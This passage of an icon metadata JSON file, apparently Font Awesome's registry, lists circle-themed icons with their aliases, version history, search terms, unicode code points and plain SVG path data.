        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM385 231c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-71-71V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V193.9l-71 71c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 119c9.4-9.4 24.6-9.4 33.9 0L385 231z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM385 231c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-71-71V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V193.9l-71 71c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 119c9.4-9.4 24.6-9.4 33.9 0L385 231z"
      }
    },
    "free": ["solid"]
  },
  "circle-check": {
    "aliases": {
      "names": ["check-circle"],
      "unicodes": {
        "composite": ["f05d"],
        "secondary": ["10f058"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "affected",
        "agree",
        "clear",
        "confirm",
        "correct",
        "done",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f058",
    "label": "Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L369 209z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L369 209z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-chevron-down": {
    "aliases": {
      "names": ["chevron-circle-down"],
      "unicodes": {
        "secondary": ["10f13a"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "download", "dropdown", "menu", "more"]
    },
    "styles": ["solid"],
    "unicode": "f13a",
    "label": "Circle Chevron Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM135 241c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l87 87 87-87c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 345c-9.4 9.4-24.6 9.4-33.9 0L135 241z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM135 241c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l87 87 87-87c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L273 345c-9.4 9.4-24.6 9.4-33.9 0L135 241z"
      }
    },
    "free": ["solid"]
  },
  "circle-chevron-left": {
    "aliases": {
      "names": ["chevron-circle-left"],
      "unicodes": {
        "secondary": ["10f137"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "back", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f137",
    "label": "Circle Chevron Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM271 135c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-87 87 87 87c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L167 273c-9.4-9.4-9.4-24.6 0-33.9L271 135z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM271 135c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-87 87 87 87c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L167 273c-9.4-9.4-9.4-24.6 0-33.9L271 135z"
      }
    },
    "free": ["solid"]
  },
  "circle-chevron-right": {
    "aliases": {
      "names": ["chevron-circle-right"],
      "unicodes": {
        "secondary": ["10f138"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "forward", "next"]
    },
    "styles": ["solid"],
    "unicode": "f138",
    "label": "Circle Chevron Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM241 377c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l87-87-87-87c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L345 239c9.4 9.4 9.4 24.6 0 33.9L241 377z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM241 377c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l87-87-87-87c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0L345 239c9.4 9.4 9.4 24.6 0 33.9L241 377z"
      }
    },
    "free": ["solid"]
  },
  "circle-chevron-up": {
    "aliases": {
      "names": ["chevron-circle-up"],
      "unicodes": {
        "secondary": ["10f139"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f139",
    "label": "Circle Chevron Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM377 271c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-87-87-87 87c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 167c9.4-9.4 24.6-9.4 33.9 0L377 271z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM377 271c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-87-87-87 87c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L239 167c9.4-9.4 24.6-9.4 33.9 0L377 271z"
      }
    },
    "free": ["solid"]
  },
  "circle-dollar-to-slot": {
    "aliases": {
      "names": ["donate"],
      "unicodes": {
        "secondary": ["10f4b9"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["contribute", "generosity", "gift", "give"]
    },
    "styles": ["solid"],
    "unicode": "f4b9",
    "label": "Circle Dollar To Slot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M326.7 403.7c-22.1 8-45.9 12.3-70.7 12.3s-48.7-4.4-70.7-12.3c-.3-.1-.5-.2-.8-.3c-30-11-56.8-28.7-78.6-51.4C70 314.6 48 263.9 48 208C48 93.1 141.1 0 256 0S464 93.1 464 208c0 55.9-22 106.6-57.9 144c-1 1-2 2.1-3 3.1c-21.4 21.4-47.4 38.1-76.3 48.6zM256 91.9c-11.1 0-20.1 9-20.1 20.1v6c-5.6 1.2-10.9 2.9-15.9 5.1c-15 6.8-27.9 19.4-31.1 37.7c-1.8 10.2-.8 20 3.4 29c4.2 8.8 10.7 15 17.3 19.5c11.6 7.9 26.9 12.5 38.6 16l2.2 .7c13.9 4.2 23.4 7.4 29.3 11.7c2.5 1.8 3.4 3.2 3.7 4c.3 .8 .9 2.6 .2 6.7c-.6 3.5-2.5 6.4-8 8.8c-6.1 2.6-16 3.9-28.8 1.9c-6-1-16.7-4.6-26.2-7.9l0 0 0 0 0 0c-2.2-.7-4.3-1.5-6.4-2.1c-10.5-3.5-21.8 2.2-25.3 12.7s2.2 21.8 12.7 25.3c1.2 .4 2.7 .9 4.4 1.5c7.9 2.7 20.3 6.9 29.8 9.1V304c0 11.1 9 20.1 20.1 20.1s20.1-9 20.1-20.1v-5.5c5.3-1 10.5-2.5 15.4-4.6c15.7-6.7 28.4-19.7 31.6-38.7c1.8-10.4 1-20.3-3-29.4c-3.9-9-10.2-15.6-16.9-20.5c-12.2-8.8-28.3-13.7-40.4-17.4l-.8-.2c-14.2-4.3-23.8-7.3-29.9-11.4c-2.6-1.8-3.4-3-3.6-3.5c-.2-.3-.7-1.6-.1-5c.3-1.9 1.9-5.2 8.2-8.1c6.4-2.9 16.4-4.5 28.6-2.6c4.3 .7 17.9 3.3 21.7 4.3c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-4.4-1.2-14.4-3.2-21-4.4V112c0-11.1-9-20.1-20.1-20.1zM48 352H64c19.5 25.9 44 47.7 72.2 64H64v32H256 448V416H375.8c28.2-16.3 52.8-38.1 72.2-64h16c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V400c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M326.7 403.7c-22.1 8-45.9 12.3-70.7 12.3s-48.7-4.4-70.7-12.3c-.3-.1-.5-.2-.8-.3c-30-11-56.8-28.7-78.6-51.4C70 314.6 48 263.9 48 208C48 93.1 141.1 0 256 0S464 93.1 464 208c0 55.9-22 106.6-57.9 144c-1 1-2 2.1-3 3.1c-21.4 21.4-47.4 38.1-76.3 48.6zM256 91.9c-11.1 0-20.1 9-20.1 20.1v6c-5.6 1.2-10.9 2.9-15.9 5.1c-15 6.8-27.9 19.4-31.1 37.7c-1.8 10.2-.8 20 3.4 29c4.2 8.8 10.7 15 17.3 19.5c11.6 7.9 26.9 12.5 38.6 16l2.2 .7c13.9 4.2 23.4 7.4 29.3 11.7c2.5 1.8 3.4 3.2 3.7 4c.3 .8 .9 2.6 .2 6.7c-.6 3.5-2.5 6.4-8 8.8c-6.1 2.6-16 3.9-28.8 1.9c-6-1-16.7-4.6-26.2-7.9l0 0 0 0 0 0c-2.2-.7-4.3-1.5-6.4-2.1c-10.5-3.5-21.8 2.2-25.3 12.7s2.2 21.8 12.7 25.3c1.2 .4 2.7 .9 4.4 1.5c7.9 2.7 20.3 6.9 29.8 9.1V304c0 11.1 9 20.1 20.1 20.1s20.1-9 20.1-20.1v-5.5c5.3-1 10.5-2.5 15.4-4.6c15.7-6.7 28.4-19.7 31.6-38.7c1.8-10.4 1-20.3-3-29.4c-3.9-9-10.2-15.6-16.9-20.5c-12.2-8.8-28.3-13.7-40.4-17.4l-.8-.2c-14.2-4.3-23.8-7.3-29.9-11.4c-2.6-1.8-3.4-3-3.6-3.5c-.2-.3-.7-1.6-.1-5c.3-1.9 1.9-5.2 8.2-8.1c6.4-2.9 16.4-4.5 28.6-2.6c4.3 .7 17.9 3.3 21.7 4.3c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-4.4-1.2-14.4-3.2-21-4.4V112c0-11.1-9-20.1-20.1-20.1zM48 352H64c19.5 25.9 44 47.7 72.2 64H64v32H256 448V416H375.8c28.2-16.3 52.8-38.1 72.2-64h16c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V400c0-26.5 21.5-48 48-48z"
      }
    },
    "free": ["solid"]
  },
  "circle-dot": {
    "aliases": {
      "names": ["dot-circle"],
      "unicodes": {
        "composite": ["1f518"],
        "secondary": ["10f192"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bullseye",
        "button",
        "geometric",
        "notification",
        "radio",
        "radio button",
        "target"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f192",
    "label": "Circle Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-352a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-352a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      },
      "regular": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-down": {
    "aliases": {
      "names": ["arrow-alt-circle-down"],
      "unicodes": {
        "composite": ["f01a"],
        "secondary": ["10f358"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-down", "download"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f358",
    "label": "Circle Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6L269.8 394.5c-3.8 3.5-8.7 5.5-13.8 5.5s-10.1-2-13.8-5.5L135.1 294.6c-4.5-4.2-7.1-10.1-7.1-16.3c0-12.3 10-22.3 22.3-22.3l57.7 0 0-96c0-17.7 14.3-32 32-32l32 0c17.7 0 32 14.3 32 32l0 96 57.7 0c12.3 0 22.3 10 22.3 22.3c0 6.2-2.6 12.1-7.1 16.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6L269.8 394.5c-3.8 3.5-8.7 5.5-13.8 5.5s-10.1-2-13.8-5.5L135.1 294.6c-4.5-4.2-7.1-10.1-7.1-16.3c0-12.3 10-22.3 22.3-22.3l57.7 0 0-96c0-17.7 14.3-32 32-32l32 0c17.7 0 32 14.3 32 32l0 96 57.7 0c12.3 0 22.3 10 22.3 22.3c0 6.2-2.6 12.1-7.1 16.3z"
      },
      "regular": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 464a208 208 0 1 1 0-416 208 208 0 1 1 0 416zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6c4.5-4.2 7.1-10.1 7.1-16.3c0-12.3-10-22.3-22.3-22.3H304V160c0-17.7-14.3-32-32-32l-32 0c-17.7 0-32 14.3-32 32v96H150.3C138 256 128 266 128 278.3c0 6.2 2.6 12.1 7.1 16.3l107.1 99.9c3.8 3.5 8.7 5.5 13.8 5.5s10.1-2 13.8-5.5l107.1-99.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 464a208 208 0 1 1 0-416 208 208 0 1 1 0 416zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6c4.5-4.2 7.1-10.1 7.1-16.3c0-12.3-10-22.3-22.3-22.3H304V160c0-17.7-14.3-32-32-32l-32 0c-17.7 0-32 14.3-32 32v96H150.3C138 256 128 266 128 278.3c0 6.2 2.6 12.1 7.1 16.3l107.1 99.9c3.8 3.5 8.7 5.5 13.8 5.5s10.1-2 13.8-5.5l107.1-99.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-exclamation": {
    "aliases": {
      "names": ["exclamation-circle"],
      "unicodes": {
        "secondary": ["10f06a"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "affect",
        "alert",
        "damage",
        "danger",
        "error",
        "important",
        "notice",
        "notification",
        "notify",
        "problem",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f06a",
    "label": "Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-384c13.3 0 24 10.7 24 24V264c0 13.3-10.7 24-24 24s-24-10.7-24-24V152c0-13.3 10.7-24 24-24zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-384c13.3 0 24 10.7 24 24V264c0 13.3-10.7 24-24 24s-24-10.7-24-24V152c0-13.3 10.7-24 24-24zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "circle-h": {
    "aliases": {
      "names": ["hospital-symbol"],
      "unicodes": {
        "composite": ["24bd"],
        "secondary": ["10f47e"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Circled Latin Capital Letter H",
        "clinic",
        "covid-19",
        "emergency",
        "letter",
        "map"
      ]
    },
    "styles": ["solid"],
    "unicode": "f47e",
    "label": "Circle H",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM368 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H192l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H320V152c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM368 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H192l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H320V152c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "circle-half-stroke": {
    "aliases": {
      "names": ["adjust"],
      "unicodes": {
        "composite": ["25d0"],
        "secondary": ["10f042"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Circle with Left Half Black",
        "adjust",
        "chart",
        "contrast",
        "dark",
        "fill",
        "light",
        "pie",
        "progress",
        "saturation"
      ]
    },
    "styles": ["solid"],
    "unicode": "f042",
    "label": "Circle Half Stroke",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 256c0-106-86-192-192-192V448c106 0 192-86 192-192zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 256c0-106-86-192-192-192V448c106 0 192-86 192-192zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "circle-info": {
    "aliases": {
      "names": ["info-circle"],
      "unicodes": {
        "secondary": ["10f05a"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["details", "help", "information", "more", "support"]
    },
    "styles": ["solid"],
    "unicode": "f05a",
    "label": "Circle Info",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "circle-left": {
    "aliases": {
      "names": ["arrow-alt-circle-left"],
      "unicodes": {
        "composite": ["f190"],
        "secondary": ["10f359"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-left", "back", "previous"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f359",
    "label": "Circle Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9L117.5 269.8c-3.5-3.8-5.5-8.7-5.5-13.8s2-10.1 5.5-13.8l99.9-107.1c4.2-4.5 10.1-7.1 16.3-7.1c12.3 0 22.3 10 22.3 22.3l0 57.7 96 0c17.7 0 32 14.3 32 32l0 32c0 17.7-14.3 32-32 32l-96 0 0 57.7c0 12.3-10 22.3-22.3 22.3c-6.2 0-12.1-2.6-16.3-7.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9L117.5 269.8c-3.5-3.8-5.5-8.7-5.5-13.8s2-10.1 5.5-13.8l99.9-107.1c4.2-4.5 10.1-7.1 16.3-7.1c12.3 0 22.3 10 22.3 22.3l0 57.7 96 0c17.7 0 32 14.3 32 32l0 32c0 17.7-14.3 32-32 32l-96 0 0 57.7c0 12.3-10 22.3-22.3 22.3c-6.2 0-12.1-2.6-16.3-7.1z"
      },
      "regular": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 256a208 208 0 1 1 416 0A208 208 0 1 1 48 256zm464 0A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9c4.2 4.5 10.1 7.1 16.3 7.1c12.3 0 22.3-10 22.3-22.3V304h96c17.7 0 32-14.3 32-32V240c0-17.7-14.3-32-32-32H256V150.3c0-12.3-10-22.3-22.3-22.3c-6.2 0-12.1 2.6-16.3 7.1L117.5 242.2c-3.5 3.8-5.5 8.7-5.5 13.8s2 10.1 5.5 13.8l99.9 107.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48 256a208 208 0 1 1 416 0A208 208 0 1 1 48 256zm464 0A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9c4.2 4.5 10.1 7.1 16.3 7.1c12.3 0 22.3-10 22.3-22.3V304h96c17.7 0 32-14.3 32-32V240c0-17.7-14.3-32-32-32H256V150.3c0-12.3-10-22.3-22.3-22.3c-6.2 0-12.1 2.6-16.3 7.1L117.5 242.2c-3.5 3.8-5.5 8.7-5.5 13.8s2 10.1 5.5 13.8l99.9 107.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-minus": {
    "aliases": {
      "names": ["minus-circle"],
      "unicodes": {
        "secondary": ["10f056"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["delete", "hide", "negative", "remove", "shape", "trash"]
    },
    "styles": ["solid"],
    "unicode": "f056",
    "label": "Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM184 232H328c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM184 232H328c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "circle-nodes": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cluster", "connect", "network"]
    },
    "styles": ["solid"],
    "unicode": "e4e2",
    "label": "Circle Nodes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M418.4 157.9c35.3-8.3 61.6-40 61.6-77.9c0-44.2-35.8-80-80-80c-43.4 0-78.7 34.5-80 77.5L136.2 151.1C121.7 136.8 101.9 128 80 128c-44.2 0-80 35.8-80 80s35.8 80 80 80c12.2 0 23.8-2.7 34.1-7.6L259.7 407.8c-2.4 7.6-3.7 15.8-3.7 24.2c0 44.2 35.8 80 80 80s80-35.8 80-80c0-27.7-14-52.1-35.4-66.4l37.8-207.7zM156.3 232.2c2.2-6.9 3.5-14.2 3.7-21.7l183.8-73.5c3.6 3.5 7.4 6.7 11.6 9.5L317.6 354.1c-5.5 1.3-10.8 3.1-15.8 5.5L156.3 232.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
